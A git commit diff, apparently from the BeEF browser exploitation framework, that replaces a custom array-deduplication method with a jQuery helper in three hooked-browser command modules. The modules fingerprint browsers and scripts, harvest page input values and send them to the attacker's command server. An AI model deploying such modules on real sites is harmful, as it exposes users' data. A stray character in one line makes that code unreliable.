Replaced Array.prototype.unique with a cleaner jQuery equivalent

This commit is contained in:
Jack Walker
2020-07-06 16:24:09 +10:00
parent 9458bd8fc6
commit 4fc300ff87
6 changed files with 30 additions and 31 deletions

View File

@@ -10,17 +10,16 @@ beef.execute(function() {
var browser_version = new Array;
var dom = document.createElement('b');
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
parse_browser_details = function() {
if (!browser_type.length) browser_type[0] = "unknown";
if (!browser_version.length) browser_version[0] = "unknown";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+browser_type.unique()+"&browser_version="+browser_version.unique());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version));
};
// Browser fingerprints // in the form of: "URI","Browser","version(s)"

View File

@@ -11,12 +11,12 @@ beef.execute(function() {
var results = [];
var urls = "";
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
var fingerprints = {
@@ -69,7 +69,7 @@ beef.execute(function() {
}
}
if(results.length >0){
urls=results.unique().join('||');
urls=unique(results).join('||');a
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
}
else{

View File

@@ -25,7 +25,7 @@ beef.execute(function() {
// return input field info
if (input_values.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);